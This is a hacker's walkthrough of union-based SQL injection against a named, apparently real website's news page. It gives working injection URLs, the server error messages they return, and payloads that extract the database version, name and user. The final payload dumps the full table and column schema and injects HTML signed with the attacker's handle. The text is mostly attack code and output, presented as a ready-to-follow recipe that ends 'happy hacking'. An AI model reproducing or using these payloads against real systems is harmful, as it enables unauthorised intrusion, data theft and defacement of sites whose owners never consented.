SQLi Challenges Solution

 

Please follow the steps 

===========Solution===========

http://zoutou(.)net/news_shousai.php?key=17

Let's start checking vulnerability adding '

http://zoutou(.)net/news_shousai.php?key=17'

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" at character 59 in /home/zoutou-web/public_html/news_shousai.php on line 99

This is the error.

Let's fix this.

http://zoutou(.)net/news_shousai.php?key=17'--+-

Not fixing

Let's try

http://zoutou(.)net/news_shousai.php?key=17--

Yes. Fixed.

As it fixes with --

Let's count columns.

http://zoutou(.)net/news_shousai.php?key=17 order by 1-- 💡

http://zoutou(.)net/news_shousai.php?key=17 order by 100-- 💔

As 1 has no error

And 100 has error

So,  it means, it will work here

In 5 we got no error

In 6 we got error

So, total possible column is 5

Let's Union select

http://zoutou(.)net/news_shousai.php?key=17+AND+0+UNION+SELECT+1,2,3,4,5--

But still error.

Let's see which error is this.

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: argument of AND must be type boolean, not type integer in /home/zoutou-web/public_html/news_shousai.php on line 99

AND must be boolean.

This is the argument here.

We used And 0

Ok. Let's use and 1=0

As 1=0 is boolean.

🙂

But still error.

Let's see again which error is this.

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: UNION types text and integer cannot be matched in /home/zoutou-web/public_html/news_shousai.php on line 99

This argument says that, Union select shouldn't be an integer.

Ok. Let's make them string using '*'

In * use column.

Follow me.

Then

http://zoutou(.)net/news_shousai.php?key=17+AND+1=0+UNION+SELECT+1,2,3,4,5--

Now,

http://zoutou(.)net/news_shousai.php?key=17+AND+1=0+UNION+SELECT+'1','2','3','4','5'--

I hope you got it.

🙂

Ok. Let's check version.

http://zoutou(.)net/news_shousai.php?key=17+AND+1=0+UNION+SELECT+'1','2','3',version(),'5'--

Here we got,

PostgreSQL 8.1.21 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-48)

It is postgree 🙂

Ok let's print basic info.

Follow me.

http://zoutou(.)net/news_shousai.php?key=17+AND+1=0+UNION+SELECT+'1','2','3,database(),'5'--

Not able to print database. 🙂

Let's change it to

current_database()

Yes 🙂

zoutou123

Ok let's print user(). But as database() not working, i don't think that, user() will work.

In this case let's try, current_user

Ok let's print all in one column. In MySQL, we use , to separate the qeuries. but in postgree, we have to use || instead of a comma. like this,

'Injected By Fr0z3n F14m3'||'<br>'||version()||'<br>'||current_database()||'<br>'||current_user||'<br>'||123

full query::

http://zoutou(.)net/news_shousai.php?key=17 AND 0=1 UNION SELECT '1','2','<br><br><br><font color="red"><b>Injected By Fr0z3n F14m3<br>'||'<img src="https://avatars.githubusercontent.com/u/76582042?v=4" width=100 height=100>'||'<br>Version :: '||version()||'<br>Database Name :: '||current_database()||'<br>User Name :: '||current_user||'<br></b></font><br><br>'||(SELECT ARRAY_TO_STRING(array(SELECT('[....] '||table_name||' :: '||column_name)::TEXT FROM information_schema.columns WHERE table_schema='public'),'<br>')),'4','5'--+-

happy hacking.